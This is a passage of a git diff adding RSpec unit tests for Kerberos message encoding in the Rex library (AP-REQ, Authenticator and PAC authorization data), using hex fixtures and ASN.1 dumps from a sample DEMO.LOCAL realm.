@infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>, + #<OpenSSL::ASN1::ASN1Data:0x007fe55b899250 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fe55b8992a0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fe55b8998b8 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fe55b8998e0 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fe55b899930>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fe55b8992f0 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fe55b899408 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007fe55b8996d8 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="krbtgt">, + #<OpenSSL::ASN1::GeneralString:0x007fe55b899458 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fe55b898af8 + @infinite_length=false, + @tag=3, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fe55b898b48 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fe55b899048 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fe55b899098 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fe55b8990c0>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fe55b898df0 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fe55b898e90 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fe55b898f80>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fe55b898c88 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007fe55b898cb0 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + "\x81O\x84\xF4!\x93\xE5J\xCC%\x89S\xB3\xEEG\xF13\xDD\x15\xDCf\x05\x90\xE7g\x90\x1D\xBE\x03\xAAF\x02\xD0&M\e\xBB\x1F\t\xD4\xDCE\xBB\xA0|\xD0\xF2C\x9F\xAByL\x8F6\x9E\fXa\xC7\xAD`\xB2D1\xFE\x89@%\xFB\x8Bqi\"\x87\xABnQ\x8E:\xEDd\x16:\x7FM\xB6\xA1\xC8i\xD0\x12_\x01\xD8!8)\xE2\x97cZM\xBF\xC9\xD7\xE9\xC4\a(\x89\xDD\xC1a\xBA\xCC\x12r(\ep=\x1F\xAEP\xD5\x88[\xCA\x00U\xD8\xE9\xDD\x1C\x91~e\x99M\x97l\xB8\xC5\x89\xE1\xAFL\xE4\xB6:y\\\xCE\xF4\xA93y_i\xB9\x16\xBA\x12\x03)\xB1\x80\x89!\x1A\x93\xCD\xE7:\xBA\xCAW\x94G:i\x1A\x1A\x9D\x1D*\x1D6\x82\xFE">]>]>]>]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fe55b8983f0 + @infinite_length=false, + @tag=4, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fe55b898468 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fe55b898738 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fe55b898760 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fe55b898788>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fe55b8984e0 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007fe55b898580 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + "+\xEA\x95|&\x13\x06%!\x8D\xF7\xCD\x0F[\xAC\xC8O5\xDB\xAD\x13\xC9\xFB\xF7\x0F\n \xCD|\xB7\xC0\xD1\x8C\xB6\x8D\x0F\x81\x88\xCE\xC2\xF1\xCB\xE3\xC1\x02=\t~M\xB8?\x0E\x8B(x\x90wh\x81\xE3\xC4\x88z\x84\xE8\x06\x82\x9D\xB95\xBA\xC1 \x8Cz\x93\xFE\xD1\x16\xE5\xC54~I\xC5\x9B\x80ZR7\xCEVO\x9DG8\xE9r\xB27\x01\x0F\xDF\x90\x8F\x14\xCA\xCE\x94\x10\xD9\x0E\x86\b\xE9\xA3=\x16j\x8AQ\x00j0z=Nen\x82\xA1\xE6Y\xD4\xBB\x95\\\xBC\xC86\xE1\x95\xCA~A<f\xC4\xDCA">]>]>]>]>]> +=end + let(:sample) do + "\x6e\x82\x01\xd2\x30\x82\x01\xce\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x0e\xa2\x07" + + "\x03\x05\x00\x00\x00\x00\x00\xa3\x82\x01\x10\x61\x82\x01\x0c\x30\x82\x01\x08\xa0" + + "\x03\x02\x01\x05\xa1\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\xa2\x1f" + + "\x30\x1d\xa0\x03\x02\x01\x01\xa1\x16\x30\x14\x1b\x06\x6b\x72\x62\x74\x67\x74\x1b" + + "\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\xa3\x81\xd1\x30\x81\xce\xa0\x03\x02" + + "\x01\x17\xa1\x03\x02\x01\x02\xa2\x81\xc1\x04\x81\xbe\x81\x4f\x84\xf4\x21\x93\xe5" + + "\x4a\xcc\x25\x89\x53\xb3\xee\x47\xf1\x33\xdd\x15\xdc\x66\x05\x90\xe7\x67\x90\x1d" + + "\xbe\x03\xaa\x46\x02\xd0\x26\x4d\x1b\xbb\x1f\x09\xd4\xdc\x45\xbb\xa0\x7c\xd0\xf2" + + "\x43\x9f\xab\x79\x4c\x8f\x36\x9e\x0c\x58\x61\xc7\xad\x60\xb2\x44\x31\xfe\x89\x40" + + "\x25\xfb\x8b\x71\x69\x22\x87\xab\x6e\x51\x8e\x3a\xed\x64\x16\x3a\x7f\x4d\xb6\xa1" + + "\xc8\x69\xd0\x12\x5f\x01\xd8\x21\x38\x29\xe2\x97\x63\x5a\x4d\xbf\xc9\xd7\xe9\xc4" + + "\x07\x28\x89\xdd\xc1\x61\xba\xcc\x12\x72\x28\x1b\x70\x3d\x1f\xae\x50\xd5\x88\x5b" + + "\xca\x00\x55\xd8\xe9\xdd\x1c\x91\x7e\x65\x99\x4d\x97\x6c\xb8\xc5\x89\xe1\xaf\x4c" + + "\xe4\xb6\x3a\x79\x5c\xce\xf4\xa9\x33\x79\x5f\x69\xb9\x16\xba\x12\x03\x29\xb1\x80" + + "\x89\x21\x1a\x93\xcd\xe7\x3a\xba\xca\x57\x94\x47\x3a\x69\x1a\x1a\x9d\x1d\x2a\x1d" + + "\x36\x82\xfe\xa4\x81\xa4\x30\x81\xa1\xa0\x03\x02\x01\x17\xa2\x81\x99\x04\x81\x96" + + "\x2b\xea\x95\x7c\x26\x13\x06\x25\x21\x8d\xf7\xcd\x0f\x5b\xac\xc8\x4f\x35\xdb\xad" + + "\x13\xc9\xfb\xf7\x0f\x0a\x20\xcd\x7c\xb7\xc0\xd1\x8c\xb6\x8d\x0f\x81\x88\xce\xc2" + + "\xf1\xcb\xe3\xc1\x02\x3d\x09\x7e\x4d\xb8\x3f\x0e\x8b\x28\x78\x90\x77\x68\x81\xe3" + + "\xc4\x88\x7a\x84\xe8\x06\x82\x9d\xb9\x35\xba\xc1\x20\x8c\x7a\x93\xfe\xd1\x16\xe5" + + "\xc5\x34\x7e\x49\xc5\x9b\x80\x5a\x52\x37\xce\x56\x4f\x9d\x47\x38\xe9\x72\xb2\x37" + + "\x01\x0f\xdf\x90\x8f\x14\xca\xce\x94\x10\xd9\x0e\x86\x08\xe9\xa3\x3d\x16\x6a\x8a" + + "\x51\x00\x6a\x30\x7a\x3d\x4e\x65\x6e\x82\xa1\xe6\x59\xd4\xbb\x95\x5c\xbc\xc8\x36" + + "\xe1\x95\xca\x7e\x41\x3c\x66\xc4\xdc\x41" + end + +=begin +#<OpenSSL::ASN1::ASN1Data:0x007fe55b8989e0 + @infinite_length=false, + @tag=1, + @tag_class=:APPLICATION, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fe55b898a58 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fe55b899e30 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fe55b899fe8 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fe55b89a088>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fe55b899c78 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007fe55b899ca0 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>, + #<OpenSSL::ASN1::ASN1Data:0x007fe55b899250 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fe55b8992a0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fe55b8998b8 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fe55b8998e0 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fe55b899930>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fe55b8992f0 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fe55b899408 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007fe55b8996d8 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="krbtgt">, + #<OpenSSL::ASN1::GeneralString:0x007fe55b899458 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fe55b898af8 + @infinite_length=false, + @tag=3, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fe55b898b48 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fe55b899048 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fe55b899098 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fe55b8990c0>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fe55b898df0 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fe55b898e90 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fe55b898f80>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fe55b898c88 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007fe55b898cb0 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + "\x81O\x84\xF4!\x93\xE5J\xCC%\x89S\xB3\xEEG\xF13\xDD\x15\xDCf\x05\x90\xE7g\x90\x1D\xBE\x03\xAAF\x02\xD0&M\e\xBB\x1F\t\xD4\xDCE\xBB\xA0|\xD0\xF2C\x9F\xAByL\x8F6\x9E\fXa\xC7\xAD`\xB2D1\xFE\x89@%\xFB\x8Bqi\"\x87\xABnQ\x8E:\xEDd\x16:\x7FM\xB6\xA1\xC8i\xD0\x12_\x01\xD8!8)\xE2\x97cZM\xBF\xC9\xD7\xE9\xC4\a(\x89\xDD\xC1a\xBA\xCC\x12r(\ep=\x1F\xAEP\xD5\x88[\xCA\x00U\xD8\xE9\xDD\x1C\x91~e\x99M\x97l\xB8\xC5\x89\xE1\xAFL\xE4\xB6:y\\\xCE\xF4\xA93y_i\xB9\x16\xBA\x12\x03)\xB1\x80\x89!\x1A\x93\xCD\xE7:\xBA\xCAW\x94G:i\x1A\x1A\x9D\x1D*\x1D6\x82\xFE">]>]>]>]>]> +=end + let(:ticket_der) do + "\x61\x82\x01\x0c\x30\x82\x01\x08\xa0\x03\x02\x01\x05\xa1\x0c\x1b" + + "\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\xa2\x1f\x30\x1d\xa0" + + "\x03\x02\x01\x01\xa1\x16\x30\x14\x1b\x06\x6b\x72\x62\x74\x67\x74" + + "\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\xa3\x81\xd1\x30" + + "\x81\xce\xa0\x03\x02\x01\x17\xa1\x03\x02\x01\x02\xa2\x81\xc1\x04" + + "\x81\xbe\x81\x4f\x84\xf4\x21\x93\xe5\x4a\xcc\x25\x89\x53\xb3\xee" + + "\x47\xf1\x33\xdd\x15\xdc\x66\x05\x90\xe7\x67\x90\x1d\xbe\x03\xaa" + + "\x46\x02\xd0\x26\x4d\x1b\xbb\x1f\x09\xd4\xdc\x45\xbb\xa0\x7c\xd0" + + "\xf2\x43\x9f\xab\x79\x4c\x8f\x36\x9e\x0c\x58\x61\xc7\xad\x60\xb2" + + "\x44\x31\xfe\x89\x40\x25\xfb\x8b\x71\x69\x22\x87\xab\x6e\x51\x8e" + + "\x3a\xed\x64\x16\x3a\x7f\x4d\xb6\xa1\xc8\x69\xd0\x12\x5f\x01\xd8" + + "\x21\x38\x29\xe2\x97\x63\x5a\x4d\xbf\xc9\xd7\xe9\xc4\x07\x28\x89" + + "\xdd\xc1\x61\xba\xcc\x12\x72\x28\x1b\x70\x3d\x1f\xae\x50\xd5\x88" + + "\x5b\xca\x00\x55\xd8\xe9\xdd\x1c\x91\x7e\x65\x99\x4d\x97\x6c\xb8" + + "\xc5\x89\xe1\xaf\x4c\xe4\xb6\x3a\x79\x5c\xce\xf4\xa9\x33\x79\x5f" + + "\x69\xb9\x16\xba\x12\x03\x29\xb1\x80\x89\x21\x1a\x93\xcd\xe7\x3a" + + "\xba\xca\x57\x94\x47\x3a\x69\x1a\x1a\x9d\x1d\x2a\x1d\x36\x82\xfe" + end + + let(:cipher) do + "\x2b\xea\x95\x7c\x26\x13\x06\x25\x21\x8d\xf7\xcd\x0f\x5b\xac\xc8" + + "\x4f\x35\xdb\xad\x13\xc9\xfb\xf7\x0f\x0a\x20\xcd\x7c\xb7\xc0\xd1" + + "\x8c\xb6\x8d\x0f\x81\x88\xce\xc2\xf1\xcb\xe3\xc1\x02\x3d\x09\x7e" + + "\x4d\xb8\x3f\x0e\x8b\x28\x78\x90\x77\x68\x81\xe3\xc4\x88\x7a\x84" + + "\xe8\x06\x82\x9d\xb9\x35\xba\xc1\x20\x8c\x7a\x93\xfe\xd1\x16\xe5" + + "\xc5\x34\x7e\x49\xc5\x9b\x80\x5a\x52\x37\xce\x56\x4f\x9d\x47\x38" + + "\xe9\x72\xb2\x37\x01\x0f\xdf\x90\x8f\x14\xca\xce\x94\x10\xd9\x0e" + + "\x86\x08\xe9\xa3\x3d\x16\x6a\x8a\x51\x00\x6a\x30\x7a\x3d\x4e\x65" + + "\x6e\x82\xa1\xe6\x59\xd4\xbb\x95\x5c\xbc\xc8\x36\xe1\x95\xca\x7e" + + "\x41\x3c\x66\xc4\xdc\x41" + end + + describe "#encode" do + it "encodes Rex::Proto::Kerberos::Model::ApReq correctly" do + + ticket = Rex::Proto::Kerberos::Model::Ticket.decode(ticket_der) + + authenticator = Rex::Proto::Kerberos::Model::EncryptedData.new( + etype: Rex::Proto::Kerberos::Crypto::RC4_HMAC, + cipher: cipher + ) + + ap_req.pvno = 5 + ap_req.msg_type = 14 + ap_req.options = 0 + ap_req.ticket = ticket + ap_req.authenticator = authenticator + + expect(ap_req.encode).to eq(sample) + end + end +end diff --git a/spec/lib/rex/proto/kerberos/model/authenticator_spec.rb b/spec/lib/rex/proto/kerberos/model/authenticator_spec.rb new file mode 100644 index 0000000000..89e60a51d3 --- /dev/null +++ b/spec/lib/rex/proto/kerberos/model/authenticator_spec.rb @@ -0,0 +1,52 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Model::Authenticator do + + subject(:authenticator) do + described_class.new + end + + let(:rsa_md5) { Rex::Proto::Kerberos::Crypto::RSA_MD5 } + + let(:sample) do + "\x62\x7c\x30\x7a\xa0\x03\x02\x01\x05\xa1\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f" + + "\x43\x41\x4c\xa2\x11\x30\x0f\xa0\x03\x02\x01\x01\xa1\x08\x30\x06\x1b\x04\x6a\x75" + + "\x61\x6e\xa3\x1b\x30\x19\xa0\x03\x02\x01\x07\xa1\x12\x04\x10\x9e\xf0\x84\xd6\x81" + + "\xe5\x16\x02\x32\xb1\xc3\x4e\xad\x83\x1d\x43\xa4\x05\x02\x03\x0a\xf8\x98\xa5\x11" + + "\x18\x0f\x32\x30\x31\x34\x31\x32\x31\x36\x32\x32\x35\x30\x34\x36\x5a\xa6\x1b\x30" + + "\x19\xa0\x03\x02\x01\x17\xa1\x12\x04\x10\x7d\x63\xdd\x79\x73\x67\xce\x86\xbb\x5f" + + "\x2b\x8a\xba\x58\xfd\x6e" + end + + describe "#encode" do + it "encodes Rex::Proto::Kerberos::Model::Authenticator correctly" do + checksum = Rex::Proto::Kerberos::Model::Checksum.new( + type: rsa_md5, + checksum: "\x9e\xf0\x84\xd6\x81\xe5\x16\x02\x32\xb1\xc3\x4e\xad\x83\x1d\x43" + ) + + cname = Rex::Proto::Kerberos::Model::PrincipalName.new( + name_type: 1, + name_string: ['juan'] + ) + + enc_key = Rex::Proto::Kerberos::Model::EncryptionKey.new( + type: Rex::Proto::Kerberos::Crypto::RC4_HMAC, + value: "\x7d\x63\xdd\x79\x73\x67\xce\x86\xbb\x5f\x2b\x8a\xba\x58\xfd\x6e" + ) + + authenticator.vno = 5 + authenticator.crealm = 'DEMO.LOCAL' + authenticator.cname = cname + authenticator.checksum = checksum + authenticator.cusec = 719000 + authenticator.ctime = Time.at(1418770246) + authenticator.subkey = enc_key + + expect(authenticator.encode).to eq(sample) + end + end +end diff --git a/spec/lib/rex/proto/kerberos/model/authorization_data_spec.rb b/spec/lib/rex/proto/kerberos/model/authorization_data_spec.rb new file mode 100644 index 0000000000..99f2248ddb --- /dev/null +++ b/spec/lib/rex/proto/kerberos/model/authorization_data_spec.rb @@ -0,0 +1,184 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Model::AuthorizationData do + + subject(:authorization_data) do + described_class.new + end + + let(:pac_data) do + "\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xB0\x01\x00\x00H\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x12\x00\x00\x00\xF8\x01\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x14\x00\x00\x00\x10\x02\x00\x00\x00\x00\x00\x00\a\x00\x00\x00\x14\x00\x00\x00(\x02\x00\x00\x00\x00\x00\x00\x01\x10\b\x00\xCC\xCC\xCC\xCC\xA0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x80\xF1\xE2i\xB5\x19\xD0\x01\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x7F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x7F\b\x00\b\x00\x04\x00\x02\x00\x00\x00\x00\x00\b\x00\x02\x00\x00\x00\x00\x00\f\x00\x02\x00\x00\x00\x00\x00\x10\x00\x02\x00\x00\x00\x00\x00\x14\x00\x02\x00\x00\x00\x00\x00\x18\x00\x02\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x01\x02\x00\x00\x05\x00\x00\x00\x1C\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x02\x00\x14\x00\x14\x00$\x00\x02\x00(\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00j\x00u\x00a\x00n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x01\x02\x00\x00\a\x00\x00\x00\x00\x02\x00\x00\a\x00\x00\x00\b\x02\x00\x00\a\x00\x00\x00\x06\x02\x00\x00\a\x00\x00\x00\a\x02\x00\x00\a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00D\x00E\x00M\x00O\x00.\x00L\x00O\x00C\x00A\x00L\x00\x04\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x03\x99\xA8h\xE0\x0E\x0E\xD9\x9A\x18\xCF\xCF\x80\xF1\xE2i\xB5\x19\xD0\x01\b\x00j\x00u\x00a\x00n\x00\x00\x00\x00\x00\x00\x00\a\x00\x00\x00\x8B$M`\xA5'\x9E\x8F_\x9B\xB6.\xF1\x1E\xF3\xC6\x00\x00\x00\x00\a\x00\x00\x00\xF3\x94&\xC3\tH\xD6\xC8yJ7\xED\xEF\t\xAA\xFD\x00\x00\x00\x00" + end + + let(:pac_type_id) do + 128 + end + + let(:ad_if_relevant) do + 1 + end + +=begin +#<OpenSSL::ASN1::Sequence:0x007fef1292f960 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::Sequence:0x007fef1292f988 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007fef1292fa50 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007fef1292fa78 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007fef1292faa0>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007fef1292f9b0 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007fef1292f9d8 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + "\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xB0\x01\x00\x00H\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x12\x00\x00\x00\xF8\x01\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x14\x00\x00\x00\x10\x02\x00\x00\x00\x00\x00\x00\a\x00\x00\x00\x14\x00\x00\x00(\x02\x00\x00\x00\x00\x00\x00\x01\x10\b\x00\xCC\xCC\xCC\xCC\xA0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x80\xF1\xE2i\xB5\x19\xD0\x01\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x7F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x7F\b\x00\b\x00\x04\x00\x02\x00\x00\x00\x00\x00\b\x00\x02\x00\x00\x00\x00\x00\f\x00\x02\x00\x00\x00\x00\x00\x10\x00\x02\x00\x00\x00\x00\x00\x14\x00\x02\x00\x00\x00\x00\x00\x18\x00\x02\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x01\x02\x00\x00\x05\x00\x00\x00\x1C\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x02\x00\x14\x00\x14\x00$\x00\x02\x00(\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00j\x00u\x00a\x00n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x01\x02\x00\x00\a\x00\x00\x00\x00\x02\x00\x00\a\x00\x00\x00\b\x02\x00\x00\a\x00\x00\x00\x06\x02\x00\x00\a\x00\x00\x00\a\x02\x00\x00\a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00D\x00E\x00M\x00O\x00.\x00L\x00O\x00C\x00A\x00L\x00\x04\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x03\x99\xA8h\xE0\x0E\x0E\xD9\x9A\x18\xCF\xCF\x80\xF1\xE2i\xB5\x19\xD0\x01\b\x00j\x00u\x00a\x00n\x00\x00\x00\x00\x00\x00\x00\a\x00\x00\x00\x8B$M`\xA5'\x9E\x8F_\x9B\xB6.\xF1\x1E\xF3\xC6\x00\x00\x00\x00\a\x00\x00\x00\xF3\x94&\xC3\tH\xD6\xC8yJ7\xED\xEF\t\xAA\xFD\x00\x00\x00\x00">]>]>]> +=end + let(:simple) do + "\x30\x82\x02\x52\x30\x82\x02\x4e\xa0\x04\x02\x02\x00\x80\xa1\x82\x02\x44\x04\x82" + + "\x02\x40\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb0\x01\x00\x00\x48\x00" + + "\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x12\x00\x00\x00\xf8\x01\x00\x00\x00\x00" + + "\x00\x00\x06\x00\x00\x00\x14\x00\x00\x00\x10\x02\x00\x00\x00\x00\x00\x00\x07\x00" + + "\x00\x00\x14\x00\x00\x00\x28\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc" + + "\xcc\xcc\xa0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x80\xf1\xe2\x69\xb5\x19" + + "\xd0\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff\xff\xff\xff\x7f\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff" + + "\xff\x7f\x08\x00\x08\x00\x04\x00\x02\x00\x00\x00\x00\x00\x08\x00\x02\x00\x00\x00" + + "\x00\x00\x0c\x00\x02\x00\x00\x00\x00\x00\x10\x00\x02\x00\x00\x00\x00\x00\x14\x00" + + "\x02\x00\x00\x00\x00\x00\x18\x00\x02\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x01\x02" + + 